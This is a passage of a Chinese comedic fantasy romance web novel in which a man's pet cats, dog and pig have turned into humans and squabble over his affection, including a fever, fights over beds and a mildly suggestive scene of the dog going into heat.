波斯不愿意相信将自己从小养到大的主人是个坏主人,只能欺骗自己都是他朋友们的错,如果没有那些坏人的危言耸听,它坚信主人是不会不要它的!
不过虽然自己做了一阵流浪猫,但好在现在的主人对它很好,汉堡他们有时候吵吵闹闹的,爱吃飞醋,但波斯清楚他们并没有坏心,小动物都是善良的,只有人类才会想要残忍地杀害弱小的动物。
所以波斯抗拒花楹接近它的主人,害怕以前的悲剧重演,这才忍不住上口咬了她,可现在看来,自己好像给主人闯祸了。
猫咪四肢腿终究跑不过汽车的四个轮子,波斯跑了两条街,最终还是把陈开心的车跟丢。
它失魂落魄地穿梭在川流不息的车流中,心神恍惚,险些被车撞到。有好心的路人抱起它,把它放到了沿路的草丛里,叮嘱它不要再乱跑了,很危险。
波斯望着好心人离去的背影,泪眼婆娑,伤心地喵喵叫。
看吧,自己就是一个不祥之物,流浪时经常有人在路边捡起它,可愿意带它回家的却只有陈开心一个,而现在连自己好不容易偷来的温暖都快要失去了。
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奔波一夜,终于把花楹送回了家,陈开心拖着疲惫的身躯往自己家走去。为了省钱,他租住的小区是个老小区,年久失修,家门口楼道里的灯一闪一闪的,似乎是螺丝松动接触不良了,他关掉电阀,仗着身高优势,踮起脚尖,随手把灯拧紧修好。
拍拍手上的灰尘,他重新打开电阀,头顶的照明灯倏地一亮,陈开心适应地眨了眨眼,随即看到了窝在家门口角落里的一个人。
是一个男人,留着一头金色垂肩的发丝,光着身子躺在他家门口的地毯上,看上去好像是个无家可归的流浪汉。
有点儿诡异,刚刚好像还没见到这边有人,怎么突然就冒出来了?
陈开心往四周看看,整个楼道都封闭式管理,进出只有他走的这一条道,那这个男人是怎么过去的?难不成刚刚就躺在那儿了?只是自己没瞧见?不管怎样,他都做不到见死不救。
陈开心走过去,弯腰蹲在他身边,轻声喊他:“喂,醒醒……醒醒,楼道里风大,你该睡感冒了。”
可喊了半天,男人总是不醒,反而像是寻到一处暖意,蜷着身子往陈开心的怀里蹭去。
两人贴得极近,陈开心这才看清他的容貌,仿佛被摄住了心魂一般抬起手,手指快触碰到男人的脸时才堪堪停下。
他在心底暗骂自己一声:怎么回事?不就是个长得好看的男人吗?自己怎么像被蛊惑了一样?
他咽了咽口水,又抬眼偷瞄了几下男人,最后还是控制不住地抬起手指,缓慢地抚过男人皱成一团的眉毛,又顺着眉毛往下拂过睫毛,划过鼻梁,最后落到了那柔软红润的唇瓣上。
男人眉眼间给陈开心一种很熟悉的感觉,熟悉到陈开心觉得自己肯定见过他。
从小到大遇到的人都快被陈开心走马灯般地在脑海里一个个过滤,他怀里的金发男人搂着陈开心的腰,口中
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嘤咛了两句:“为什么不给我开门?连你们也不要我……”
“什么?”陈开心没听清,低下头将耳朵凑近他嘴巴。
男人突然睁眼直直对上陈开心的眼睛,他眸中绿色的瞳仁在灯光照耀下像两颗流光溢彩的琉璃,美的惊心动魄。
陈开心看到他泛红的眼角和意乱情迷的神情,心中不禁滑过一丝悸动,终于意识到这男人像谁了,还没来得及多问他两句话,就被他强硬地掐着脖子按下头。
金丝的发丝与陈开心的黑发缠绕,男人噙着泪花,温热的泪水从他痛苦的眼眸中滚落,浸湿了两人紧贴的衣襟。
“我以为你也不要我了,主人。”波斯嗓音中带着哭腔呢喃,像只受伤的小兽死死抓着陈开心胸前的衣襟,害怕这只是自己做了个美梦,不敢再放手。
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发现波斯猫溜出家门后,汉堡、可乐和雪碧大惊失色,要是被主人发现他们把波斯弄丢了的话,主人肯定会生气的!
于是一猫一狗一猪赶紧收拾了自己的小包包,戴上自己防走丢的小牌牌,兵分三路去找猫,约定两小时后再在小区门口汇合。
他们一条街一条街地去找,连捡到波斯猫的那个破旧停车场都去翻了个底朝天,仍旧没有找到波斯,但天色已经很晚了,要是他们出来时间长了,主人回去发现他们不在会引起怀疑的,只能先打道回府。
到了约定时间,猫猫狗狗猪猪碰面后发现对方都没有找到波斯,纷纷垂头丧气地回家,一边自责没看好波斯,一边再从长计议找波斯的事。
家门口楼道里那一闪一闪的灯已经被修好了,走在最前面的汉堡猛地停住脚步,目瞪口呆地盯着前方。
后面亦步亦趋跟着的可乐和雪碧躲闪不及,接二连三地撞了上去。
“你干什么?”可乐揉着撞红的鼻头,痛得眼泪都快出来了,忙转头查看雪碧的情况。
结果他身后的雪碧跌倒在地,歪了个脑袋呆呆看着前面,也像个木头人一般怔在原地。可乐顺着他们的视线好奇地看了过去,待看清前方的画面后,这下他的眼泪是真的要痛出来了。
前方家门口,正跪在地上和一个赤.裸的男人抱在一起的男人,不是他们的主人,是谁?
痛,太痛了,可乐两眼一抹黑,觉得自己肯定是撞出幻觉了。
18. 波斯发烧了
因为光着身子在楼道里睡了几个小时,再加上可能刚刚变成人的缘故,陈开心在和波斯贴贴的时候,摸到了他滚烫的肌肤,再配上他水波荡漾的眼睛,陈开心一开始还以为是情绪激动,结果两人一亲热完,波斯就直接昏过去,发起高烧。
陈开心抱着波斯开门把他放在床上,给他放水擦拭着身体降温,亲力亲为地替他穿上自己的睡衣。
可乐跟在他身后转悠,想搭把手又被陈开心嫌弃他添乱,看着陈开心无微不至地照顾波斯,可乐心里酸溜溜的:“主人都没有这样照顾过我。”
汉堡斜睨他一眼,从鼻子里挤出一记冷哼,一开口说的话也醋味十足:“你有虚弱到吹个风就能发烧吗?绿眼睛柔弱到被风一吹就倒,还不穿衣服在外面晃悠,不讲猫德!简直丢我们猫脸!”
骂骂咧咧的汉堡显然早已忘记他刚变成人的时候也不爱穿衣服,被陈开心好说歹说才制止他那遛鸟行为。
“那我们该怎么办?主人都没有给我们做晚饭,他现在一门心思只有那个绿眼睛。”
可乐又气又饿,他找绿眼睛找了好久,肚子快饿扁了。
“咕噜噜。” 汉堡的肚子也抗议起来,但他眼巴巴地望着主人服侍波斯的背影,有骨气地举起示威的小拳头,“喵喵滴!我们一定要给主人一个教训,让他知道这个家里到底谁才是主人!”
默默在零食柜里扒拉零食的雪碧听到他们的对话突然停住动作,眨巴着圆圆的眼睛反应两秒。
这话怎么听起来有些奇怪?可猪猪饿昏头,想了半天也没理清汉堡话中的逻辑,干脆不想了,继续开开心心地吃零食。
好耶!主人不做晚饭,他可以有理由正大光明地吃零食啦!
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不对劲,特别不对劲。
入睡前,陈开心发现汉堡和可乐竟然反常地没有和自己挤一张床睡觉,而是抱着被子,目不斜视地路过他的床。
随后,客厅里传来雪碧和汉堡、可乐吵闹的声音。
雪碧呈大字型趴在自己的地铺上,誓死捍卫自己的领地:“你们两个不是嫌弃我的猪窝臭吗?为什么要霸占我的窝?强盗猫!强盗狗!”
汉堡一屁股坐到他身上,用脚踹他脑袋:“边儿去!要么你和可乐滚去卧室睡,要么你俩就占这一半地方不许越界!”
他用枕头摆了个楚河汉界,他一个人占一半,剩下一半他们俩分。
可乐拿起枕头往旁边一扔,不满地嚷嚷:“凭啥我和这只猪只能占一半?!你这只强盗猫!”
“对!强!盗!!猫!!!”雪碧站在可乐身后,叉着腰猪假狗威。
“喵!!!”强盗猫不发威,还真拿他当柔弱的小猫咪。
汉堡慢条斯理地舔了舔手指,亮出隐藏其下的爪子,对着聒噪的狗狗和猪猪眯起危险的眼神,电光火石间,可乐和雪碧看见两只九阴白骨爪朝他们飞速地挠过来。
陈开心在卧室里照顾昏睡的波斯,只听得外间汉堡暴躁地叫唤几声,随即传来可乐和雪碧的惨叫之后,客厅里忽然安静下来。
太不正常了,安静到诡异,似乎外面没有人一样。
陈开心给波斯掖好被角,从床上起身,不放心地想出去看看,还没等他脚沾地,袖子就被波斯给轻轻拽住。
“别走,别丢下咪咪,咪咪不是妖物......” 波斯额头上渗出密密麻麻的冷汗,紧闭着双眼,无意识呢喃着,似乎陷入什么可怖的梦魇。
陈开心一秒收回脚,重新躺到波斯身边拍着他的胸膛安抚他:“别怕,我在,我一直都在。”
他轻柔的安抚让波斯渐渐平静下来,但抓着陈开心的手却从始至终都没有放开,波斯依旧闭着眼,慌乱地摇晃着脑袋企图从噩梦中摆脱:“主人,别不要咪咪。”
“咪咪,原来你叫这个名字,还真是……朴实无华。” 陈开心笑笑,亲昵地揉揉他金色的发丝,凑近他耳朵,尽可能地放低声音哄他,“咪咪,我会陪着你的。”
波斯猛然睁眼,仿佛在陈开心的召唤下从梦境中挣扎出来,一对上陈开心担忧的眼神,他绿色的瞳仁里激起一波潋滟水光。
他直愣愣地盯着陈开心,头朝他靠过去,干燥的嘴唇轻轻贴上陈开心脸颊,停了几秒后,试探地舔了舔。
陈开心呆愣住了,短短一个晚上,他就被亲了两次,还是被一只猫!
咪咪最终还是因为体力不支又倒了下去,眼睛却定定地看着陈开心,心里的难受霎时涌到眼眶里,委屈地咬着唇,好像下一秒就要哭出来。
脸颊残留着那软软湿湿的触感,无比清晰地提醒着陈开心被一只猫占便宜的事实。
他头疼地按了按额角,语气无奈又宠溺:“咪咪,一次两次可以,再来第三次我就认为你是故意的了,我不只是属于你的主人。”
陈开心看在他生病的份上不拒绝他亲近的行为,不代表他可以纵容咪咪把自己标记成他的所有物,肆无忌惮地挑衅着这个家里的其他人。
这话对于咪咪来说可能比较残忍,但对汉堡,可乐还有雪碧来说,这是陈开心能想到的最为公平的方法,他的爱可以一分为四,却不能被一个人霸道地拥有。
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第二天一大早,花楹早早按响门铃,她一手拎着早餐,将受伤的另外一只手故意抬高,等
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待着陈开心前来开门。
可没想到来开门的却是陈开心那两个“神经病”亲戚,一个似乎是被吵醒了,不爽地臭着一张脸,另一像是没骨头一样软在旁边人的身上,看上去还没睡醒。
“我来给你们送早餐。”花楹堆着一张笑脸,试图走进屋。
可乐一个胳膊横在她身前,回头向趴在自己身上的汉堡请示:“放不放?”
汉堡不耐烦地挠挠耳朵,懒得搭理他:“放放放,赶紧让她把东西放下走人,然后我们回去睡觉。”
果然是脑子有病,哪有这么待客的?花楹吃了一肚子火,但想到自己来的目的,只能装作大度的模样,尴尬又不失礼貌地微笑。
可乐给她让开身体,结果花楹犹豫了,她小心翼翼地指了指屋子里面:“那啥,昨天咬我的猫不在外面吧?”
“猫?”汉堡打了个呵欠,顺着她目光往屋内看去,待看到紧闭的卧室门时,他眼珠转了转,计从心生。
“哎呀,没有猫啦,猫被送走了!”
“什么?”花楹吃惊,难不成就因为咬了自己,所以陈开心就把猫送走了?她心里刚有些感动,又听见汉堡继续说。
“对呀对呀,好惨的,浑身烫的毛都没了,叫都叫不出来了,应该快烧死了吧?”
“啊?!”花楹错愕地瞪了眼,再看这屋子竟然有种恐怖的感觉,她哆嗦着手指,连早餐都拿不住掉在地上,“他,你,你们,他竟然用烫水拔猫毛!还烧死了猫!!”
“你在说什……” 可乐一头雾水,刚说两个字又被汉堡眼疾手快地捂住嘴。
汉堡对可乐威胁地龇牙,一把摁下狗头,转头对着花楹开心地笑:“对呀对呀,就是你想的那样。”
他的笑容此时在花楹眼里是如此的毛骨悚然,她吓得连连后退,不敢相信地捂着嘴巴尖叫:“啊啊啊啊!没想到陈开心竟然是这样的人!”
她把早餐从地上捡起来往陈开心家门上狠狠砸去,里面豆浆洒了一地,肉包滚啊滚,滚到可乐的脚边,可乐眼睛“唰”地亮了。
声音闹得有点大,花楹害怕陈开心出来看到被他报复,只能恨恨地瞪了汉堡和可乐一眼,连忙慌不择路地逃跑了,想必再也不会来了。
汉堡美滋滋地指挥可乐打扫干净家门口,可乐应了声,偷偷捡起地上的肉包塞到裤兜里。
过了半小时,陈开心出门去买早餐,路上不少邻居对着他指指点点,他心里纳闷极了:奇怪,今天怎么这么多人看我?难不成是我没穿衣服?
他低头检查自己的穿着,不对,穿了啊。他又掏出手机看了看,脸上也不脏啊。
啊,懂了,肯定是因为我今天特别帅!
19. 取名字
过了五一,花楹又离开老家去外地工作了,临走前特地叮嘱花姐不要和陈开心走的太近,说陈开心这个人虚有其表,私下里竟然虐猫。
虐猫?
花姐拉着李大妈在陈开心家门口围观他搬家具,两人交头接耳,窃窃私语,最后一致得出结论:开心长得帅又嘴甜,怎么可能会虐猫呢?这其中肯定有什么误会。
陈开心指挥家装公司的员工把新买的床摆进卧室,一回头,花姐和李大妈正目不转睛地盯着他。
他想了想,从零食柜里拿出两瓶饮料递给她们:“花姐,李大妈,谢谢你们啊,多亏你们领路,不然送床的人今天该白跑一趟了。”
说完,他狠狠瞪了可乐一眼,要不是可乐昨晚洗澡闹着要看汪汪救援队的动画片,他的手机也不会掉到浴缸里直接报废,家具公司今天来送床的员工也不会打不通他的电话。
“哪里哪里,都是邻居,指个路而已。”花姐不好意思地摆摆手,视线一转,看到沙发上横七竖八躺着看电视的那四人时,语气又立马变得语重心长。
“开心,不是花姐多嘴,你看你这情况是吧,这又多了一个精......呃,那啥的亲戚,哪个女孩子肯跟着你呦,也就我们家不要求男方的家境,看你人实在,才想着撮合你和我女儿,过了这村可就没这店了。”
她话里话外都是劝陈开心重新考虑一下和她女儿相亲的意思,李大妈被作为说客拉过来,也在旁边连连附和。
陈开心无奈,解释说和她女儿有缘无份,插科打诨地绕过这个话题,花姐见这事没有回转的余地,不得已只能作罢。
陈开心把花姐她们,还有送床的家装工作人员一起送出门,把卧室里新添加的床收拾一下,换上干干净净的床品后,已经时到中午,沙发上的四人组眼巴巴地瞅着他,手上捂着肚子,一看就是饿了。
陈开心抹了一把脸,看着嗷嗷待哺的四个人,突然有些心累:“我去给你们做饭。”
他连轴转地往厨房走去,往日高大的身形忙碌了一上午,此时看起来竟有些佝偻沧桑。
汉堡鼻头一酸,捏着拳头,冲着陈开心的背影大声喊:“我要你!喵喵!”
“什么?”陈开心疑惑地回头。
见他望过来,汉堡紧张地努嘴,神情有点害羞又有点小傲娇:“别人不要你,我要你!”
可乐和雪碧也争先恐后地举起手:“我!我!还有我!”
可乐还不忘踩一脚汉堡,掐着嗓子对他阴阳怪气:“哎呦喂,谁不知道你们猫猫有奶就是娘,哪有我们狗狗忠诚?”
他非要在陈开心面前挤兑汉堡,证明他才是最爱主人的那个人。
汉堡嘴角忍不住抽搐,咻地亮出爪子:“傻狗,你欠揍!”
一阵猫叫狗跳猪看热闹,客厅里又闹腾起来。
波斯一声不吭地走到陈开心身边,额头贴着他额头,心疼地抱住他:“还有我,你要是觉得累,可以教我干活,我很聪明的,一教就会。”
确实,这两天汉堡他们教波斯学习如何像人类一样生活,陈开心通过汉堡和可乐发脾气的次数就能看出来波斯比雪碧聪明多了。
他感动地蹭了蹭波斯的颈窝:“谢谢你,咪咪。”
“喵?”波斯面带笑意的表情倏地怔住,“开心,你叫我什么?”
陈开心不明所以地放开他的怀抱,无辜地眨眼:“咪咪啊,你发高烧时说自己叫咪咪。”
“啊啊啊啊啊!”波斯跳脚,像是被踩尾巴的猫,一瞬间就炸了毛,“别叫我咪咪!我讨厌这个名字!”
没料到他会有这种反应,在陈开心印象里,波斯一直都是斯文稳重的猫咪,鲜少有这种气急败坏的时候,果然是近墨者黑。
陈开心意有所指地看了眼客厅里上蹿下跳的三个人,随口问道:“那你想叫什么?”
波斯不想叫以前的名字,想来也是被前主人伤害的太重,从而连他取的名字都能够让他应激,陈开心理解他这种心理,可逃避是拯救自己的最没有用的办法,陈开心虽理解但还是琢磨着想让波斯放下以前的执念。
放下过去,才能更好地生活。
“不知道。”波斯垂头丧气地埋下头。
他金色的发丝软塌塌地遮住眼帘,陈开心随手替他理理挡住眼睛的头发,露出隐藏其中的绿色眼眸。
待看到波斯小脸皱巴巴地盯着他时,陈开心又好笑地扯他的脸颊,扬声喊客厅里打闹的三个人:“汉堡,可乐,雪碧,你们帮绿眼睛取个名字吧。”
“绿眼睛不就叫绿眼睛吗?”汉堡不解,“就叫绿眼睛不行吗?”
陈开心笑着拒绝:“不行哦,绿眼睛是你们给他取的绰号,这样叫人是不礼貌的行为哦。”
“可绿眼睛不是
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叫咪咪吗?”雪碧咬着手指,一脸的纠结,“一个人可以取两个名字吗?那我以后是不是也可以叫大帅哥?”
“叫你大肥猪!”可乐一个大逼兜扇上雪碧的脑门,结果雪碧被他们打多了,条件发射地弯腰躲过去,反而使得可乐往前踉跄两步,直奔大地而去。
汉堡怕砸到自己,连忙身手矫健地翻了个身,让可乐沉重的身躯与大地母亲来了个深切的拥抱。
“轰!”重物砸向地面发出的沉闷声音,听着就很疼。
陈开心吓了一跳,赶紧走过去检查可乐有没有摔坏,见他痛的龇牙咧嘴,还不忘装惨向自己讨亲亲,显然是好了伤疤忘了疼。
人幸好没事,陈开心这才松了口气,如可乐所愿地给了他一个安抚的亲亲后,转头教训雪碧:“又趴我卧室门口偷听,是不是?”
这家里只有陈开心在波斯发高烧的声音听到了他叫自己咪咪,从没有当着众人的面喊过他,连汉堡和可乐平时也都是“绿眼睛”来,“绿眼睛”去的。
雪碧心虚地移开视线,假装没看到他严厉的眼神。
救救我,救救我,他给汉堡挤眉弄眼地递眼色。
“啊,我知道了!”汉堡接收到他的暗示,突然从沙发上跳起来,围着波斯开心地蹦跶,“绿眼睛,我们叫你包子好不好,你上次偷偷吃了我们四十个小笼包,差点把我和主人饿死!”
很好,话题被转移了,雪碧劫后余生地抚了抚胸口,面上顺势摆出一副委屈的表情:“对呀对呀,猪猪我呀,连包子皮的味道都没尝到呢,听说小笼包很好吃的。”
他一想到这件事就难过,伤心的眼泪从嘴角流下来,索性拉着陈开心的手撒娇,“主人,我们今天吃包子好不好?”
“好好好。”陈开心拍拍他的脑袋,宠溺地笑笑,由着他们在客厅里玩耍,自己则转身去准备午饭。
唉,累归累,可终究也是一种甜蜜的幸福。
因为包子事件重新被提起,三个人拉着波斯进行一番深刻的检讨,波斯将他们调侃的笑容尽收眼底,即使心里被聒噪的他们烦得不行,倒没有上手教训他们,而是勾着三个人的脖子摁在自己身边,强制性让他们闭嘴。
一猫一狗一猪见好就收,乖乖地被他搂着,四个人缩着身子挤在小小的沙发上,满怀期待地望着在厨房里忙碌的陈开心,就像是……望着他们整个世界。
20. 床位之争
家里添置了新的大床,加上之前陈开心睡的双人床,两张床成功合体成一个三米六的大通铺,几乎占据大半个卧室。
汉堡和可乐本想着再装模作样在客厅的地铺上睡几天,没成想一扭头,雪碧那家伙已经抱着自己的小被子小枕头躺到了床上。
“舒服,真舒服。” 他乐得在床上蹦蹦跳跳,席梦思在他脚底下吱呀呀作响,陈开心张嘴想提醒他轻点儿,别给床蹦塌了,但看雪碧那喜笑颜开的样子,他又犹豫着闭了嘴,转身去卧室洗澡,权当没看见。
蹦就蹦吧,孩子难得可以睡床了,开心就好。
可陈开心不说,自然有人教训雪碧。
雪碧蹦跶着蹦跶着,一个歪身,一脚踩在包子瘦小的脚腕处,直把盘腿坐在床上研究如何套枕套的包子踩得喵喵叫,条件反射地一脚踹翻雪碧。
一声巨大的重物落地声,汉堡和可乐抱着自己的被褥赶过来的时候,看到的就是四脚朝天摔在床和墙中间缝隙里,头晕目眩的雪碧。
汉堡圆目一瞪,被褥往包子头上一摔,飞身跳上床挡在雪碧面前:“绿眼睛,我警告你,你不能欺负蠢猪!”
雪碧哀嚎着在可乐的搀扶下慢慢爬起来,看到汉堡不由分说地挡在自己面前,本来还心生感动,再听到后两个字时,嘴角又一阵抽搐,悄声提醒他:“最后两个字其实可以不说。”
包子还没找雪碧算账呢,汉堡反倒替雪碧出了头,他揉着发红的脚腕,静静瞥了他们一眼。阵营很明显了,一对三,他毫无胜算,那就只能智取。
他盯着雪碧不怀好意地笑,慢悠悠地开口:“我记得之前某只猪和我说过,这个家里一猫一狗天天作威作福,他想......”
“我想认你们做大哥!” 雪碧被汉堡和可乐齐齐飞过来的眼刀吓得一哆嗦,连忙抱头跪地求饶,“狗哥,猫爸,我错了,我的意思是你们很威风,在这个家里横行霸道,帅呆了,酷毙了,我彻彻底底地被你们的魅力给征服了!”
只要认怂认得快,没有挨揍只有爱。
虽然知道他猪嘴里吐不出什么好话,但他刚刚吹的彩虹屁简直把汉堡和可乐捧到了天上,汉堡和可乐听得心情愉悦,也就懒得和他计较。
因为眼下除了争论家庭地位,还有一件更重要的事情需要做。
那就是……争床位!
趁他们不注意的时候,可乐眼疾手快,率先占领两张床中间的一个床位,这个床位旁边躺着的是陈开心睡觉的枕头,他明显是想挨着陈开心睡。
“我睡这里,谁都别跟我抢!” 他一个大字型趴在床上,牢牢霸占住位置。
“傻狗!”汉堡站在床下拽他的腿,试图把他拔走,“那是我的位置!你的位置在主人脚边!”
“才不是!”可乐两手死死扒着床头,梗着脖子顶嘴,“那是因为我以前一和主人睡,你就用爪子挠我,我们现在都是人,你不能以小欺大了!”
汉堡还是小猫猫的时候,就总是仗着自己身形小欺负他,为此可乐虽然委屈,但心里深深牢记着主人说过的要保护小猫咪的话,一直忍气吞声着。
但是!今天!从这个床位开始!他可乐就要崛起了!哈哈汪汪汪!!!
汉堡抱着可乐健硕的小腿拔了两下,不仅没挪动他分毫,反而给自己累一身的汗。他气喘吁吁地叉着腰歇了片刻,对陈开心另一侧床位上的包子努努嘴:“你,去床尾睡去。”
包子慢吞吞地在原地摆好自己的枕头,躺下来悠哉悠哉地看起小说书,他要是给汉堡一个眼神,算他输。
啊啊啊啊啊!汉堡简直要气疯了,他说的话什么时候被这么无视过?除了主人,就是他在这个家里的地位最高,甚至有时候连主人都要听他的话。
他还真就不信了!汉堡冷哼一声,气极反笑,嘴里发出警告的低吼,舔了舔手指,露出了被陈开心修剪的干干净净的指甲。
他对着可乐和包子危险地眯起眼睛:“敬酒不吃吃罚酒,不让你们知道我喵喵的厉害,我就和那蠢猪姓!”
坐在地上等待召唤的蠢猪听到汉堡喊自己,忙抬起小手拉着他的衣袖,一脸的无辜:“亲爱的爸爸,到儿子
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的顺序了吗?请问您亲爱的儿子睡哪儿?”
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陈开心洗完澡进卧室,竟然感觉到了前所未有的温馨。
包子睡在床中间看着小说,可乐和雪碧脑袋靠着脑袋,捧着手机乐呵呵地看着汪汪救援队,汉堡则独自一个人躺在最外侧闭目假寐,听见陈开心进屋,他一个鲤鱼打挺,坐起来装可怜。
“主人,咪想和你睡~” 猫猫很聪明,懂得先发制人,求己不如求主人。
他跪在床上往前爬了几步抱住陈开心的腰来回蹭啊蹭,伸着小舌头,人畜无害地一下一下舔着陈开心的手背。
陈开心被他舔的心痒痒,替他擦了擦嘴角的口水,温柔地笑着答应:“好。”
波斯猫的小说书翻不动页了,小狗小猪看的视频没声了,英长小猫开心了。
他这一声好,可伤了多少小动物的心呦。
入夜,梦醒时分,陈开心是被热醒的。有什么东西在往他身上爬,还有两只手死死地掐着他的腰,让他忍不住有些吃痛,腰间的睡衣也被掀起,腹部有着湿漉漉的触感,让陈开心害怕地夹紧了双腿。
他无奈地从底下捞起可乐:“大晚上的不睡觉,瞎折腾啥呢?”
见主人醒了,可乐不由分说地翻身跨坐在他的身上,像只巨型考拉一样抱住他,神情幽怨地伏在他胸口:“我难受……”
他也不说是哪里难受,只一个劲儿地蹭陈开心,陈开心以为是让他把床位让给汉堡后,他心里难受,便揉揉可乐的头发,轻声安抚:“那明天你和我睡,你和汉堡轮换着来。”
可小狗说的难受又不是陈开心所理解的难受,他浑身燥热无法疏解,只能不得门路地隔着布料咬住陈开心胸前的肌肤,在黑暗中用犬齿细细研磨着。
突如其来的一阵电流飞蹿过陈开心的四肢,让他浑身软下来,他动了动腿,想把可乐赶下去,挣扎间却一不小心碰到了可乐那物,吓得不敢再动弹。
额滴神啊!他家的小狗看着傻乎乎的,竟然是到了……发情期……
21.忽悠小狗
陈开心能清晰感受到可乐急促的呼吸喷洒在颈侧,带着犬类特有的湿热气息。窗帘缝隙透进的月光在墙上投下摇晃的树影,如同他此刻剧烈起伏的胸腔。
"主人……你好香……"可乐突然用犬齿叼住他的耳垂,喉间发出类似幼犬撒娇的呜咽。陈开心惊恐地发现对方的手正顺着他的脊梁往下滑,指尖在尾椎处打着圈,这让他想起以前带可乐去宠物医院打疫苗时,医生说过犬类求偶时会用鼻尖触碰配偶的生殖腺。
他毫无章法地在陈开心身上乱摸乱蹭乱咬,陈开心躺在床上望着伸手不见五指的黑夜,无语凝噎,一脸的生无可恋。
他实在没有勇气去给另外一个男人解决需求啊,更何况这还不是男人,这是他自己养的狗!
万万没想到自己也会有被当成母狗的一天……见过人骑狗,可没见过狗骑人的……
陈开心感受着颈间被可乐头发蹭出的痒意,莫名有种即将被自己养大的儿子吃干抹净的诡异感。
两人紧贴的大腿处,分不清是陈开心的冷汗还是可乐的液体,陈开心彻底凌乱。
“好舒服啊,主人。” 可乐蹭了再蹭,舒爽得耳朵尖尖都发了红,对着陈开心讨亲亲又讨抱抱。
在黑暗中耐着性子听了全程的汉堡终于忍无可忍,发出一声细微的猫叫,警告可乐见好就收,没想到隔着陈开心的另一边床铺同样传来一声猫叫。
“喵喵。”=“醒着?”
“喵喵喵喵喵喵。”=“傻狗动静这么大,睡成死猪才能不被吵醒吧。”
“喵喵喵喵。”=“既然醒了,踹不踹?
“喵!”=“踹!”
包子和汉堡立马达成共识,一拍即合。
床垫突然传来细微震动,汉堡从被窝里探出半张脸,鸳鸯眼里闪着危险的光。当可乐试图将膝盖挤进陈开心双腿之间时,两只猫科动物同时弓起脊背。
汉堡压住陈开心防止他被可乐拽走,再由包子手撑着床,敏捷地飞身一踢。
“喵呜——”
可乐此时沉溺在刚刚的快感中,脑子里一团浆糊,几乎没怎么反抗就被踹飞了。
空中滑过一记抛物线落体轨迹,随即重物落地的闷响混合着可乐惊慌失措的“汪汪”声一齐传来。
陈开心在猫狗的混战中艰难转身,看见可乐被踹飞时在空中本能地蜷成保护要害的姿势,月光勾勒出他惊恐的面庞。
雪碧仍蜷缩在地上用被子蒙住头熟睡,砸吧两下嘴,不耐烦地挥挥手像是赶苍蝇,又嘟嘟囔囔着翻身。
真讨厌,怎么连做梦都有烦人的狗叫声?
第二天早上,雪碧是最后一个起床的,他洗漱完坐到餐桌上吃早餐的时候,陈开心已经吃好饭,拿起桌子上的手机准备出门上班。
临走前,他特意向他们交待了可乐的特殊情况:“你们这两天离可乐远一点,他发情了,到时候万一控制不住伤了你们。”
汉堡和包子的脑袋埋在鱼肉粥里,听话地点点头。
雪碧不明所以,但看大家都点头了,他也就跟着晃了两下脑袋。
陈开心这才放心出门,一出门,雪碧转头疑惑地问餐桌上的另外三个人:“什么叫发情?”
“发情就是……嗝!” 汉堡喝光粥,满意地舔嘴唇,打了个饱嗝才歪头认真思索,“就是……就是……绿眼睛你说。”
他想不出来,把锅甩给了波斯猫包子。
包子也只是一只天真无邪,懵懂无知的纯洁小猫猫啊,他又没发过情,他怎么知道,不过幸亏他视力好。
“我早上看见主人在看他的手机,上面写着狗子发情了怎么办?”
“怎么办?” 汉堡和雪碧好奇地追问,连可乐都舍得从他碗里抬起头,等着包子接下来的话。
波斯猫神秘兮兮地一笑,不怀好意地看可乐,举着手对可乐裆.部比划两下:“网友建议,割以永治。”
可乐只觉得裆.部一凉,食欲顿时消失得无影无踪,连肉粥都索然无味。
好家伙,这把真给狗子整抑郁了。
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陈开心下班回家没在迎接大军中看见可乐的身影,觉得有些奇怪,一问才知道可乐把自己关在衣柜里不吃不喝已经一天了。
又要搞什么幺蛾子?
陈开心跪坐在衣柜前的地上,额头抵着胡桃木柜门。他能听见衣料摩擦的窸窣声,听起来像是可乐的脚尖正无意识地拍打着冬季大衣的下摆。
哦莫,陈开心心头一紧,他脚踩着的不会是那件他斥巨资买的品牌大衣吧?
陈开心拉衣柜门,可乐却抵着门不让他拉开,隐隐约约还传来几声低低的啜泣,陈开心拉门的手僵住了。
显而易见的,比起大衣,可乐的哽咽更让他担忧。
“这是怎么了?”他转头问汉堡他们,这出门前还好好的,怎么过了几小时,可乐就连他也不想见了。
“不知道啊。” 汉堡无辜地摊摊手。
陈开心问包子,包子也一头雾水地摇摇头,表示
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自己不清楚,说可能是发情的原因吧,让陈开心别担心。
陈开心只能百度,度娘也没说狗狗发情心情会不好啊,都是说会暴躁失控。
"要不要吃牛肉干?"陈开心将零食包装袋揉出脆响,这是他训练可乐握手时的奖励品。可乐没有回话,只是柜内突然传来牙齿撕咬织物的声音。
陈开心的心瞬间又痛了,他的某件羊毛衫恐怕难逃狗嘴。
寻法无门,他只好去问和可乐关系好的雪碧,雪碧吓得捂住嘴,脑袋晃得跟个拨浪鼓一样。
猪猪不知道,猪猪不能说,猪猪说了要挨打的。猪猪才不会说是两只猫出的馊主意,让可乐装抑郁绝食,避免被拉去嘎掉呢。
入夜,任由陈开心嘴巴劝干了,可乐依旧死活不出来,陈开心只能在他柜门前摆了一些肉干和水,希望他饿了可以吃点。
可可乐铁心地要绝食,直到陈开心上床准备睡觉了,他都没有打开柜门碰那些食物。
陈开心怀着对可乐的担心和愧疚睡去,睡前他盯着可乐躲藏的那个柜子看了好久,自责不已。都怪他,平时忽视可乐,才连他到了发情的年纪都不知道。
等他慢慢睡着,嘴里发出轻微的鼾声,汉堡和包子在黑夜里睁开眼睛,隔空喵喵叫了两声,对了一下暗号,窸窸窣窣地爬下床。
路过雪碧时,汉堡顺脚踩了一下昏昏欲睡的雪碧,拎着耳朵把他揪醒,让他坐起来盯梢。
猪猪扒着自己快耷拉下来的眼皮替他们望风,汉堡猫猫祟祟地从客厅零食袋里掏肉干,然后又从柜门缝里塞给可乐。
包子把自己最爱看的小说书和手电筒也塞了进去,让可乐无聊的时候解闷,最后两只猫手拉着手蹲在地上,一起给可乐加油打气,告诉他坚持就是胜利。
可乐感动得泪眼婆娑,饿了一晚上的他边大吃特吃,边被两只猫“洗脑”着,坚信自己此时遭受这短暂的痛苦,总比未来被嘎掉痛苦一生来的好。
听着他哭戚戚感谢他俩的话,汉堡和包子相视一笑,比了个胜利的手势,和和美美地上床,一人抱着陈开心的一只胳膊,开开心心地睡觉。
因为少了个人占床位,甚至连雪碧都得以在陈开心脚边寻了个位置,和主人贴贴着睡觉。
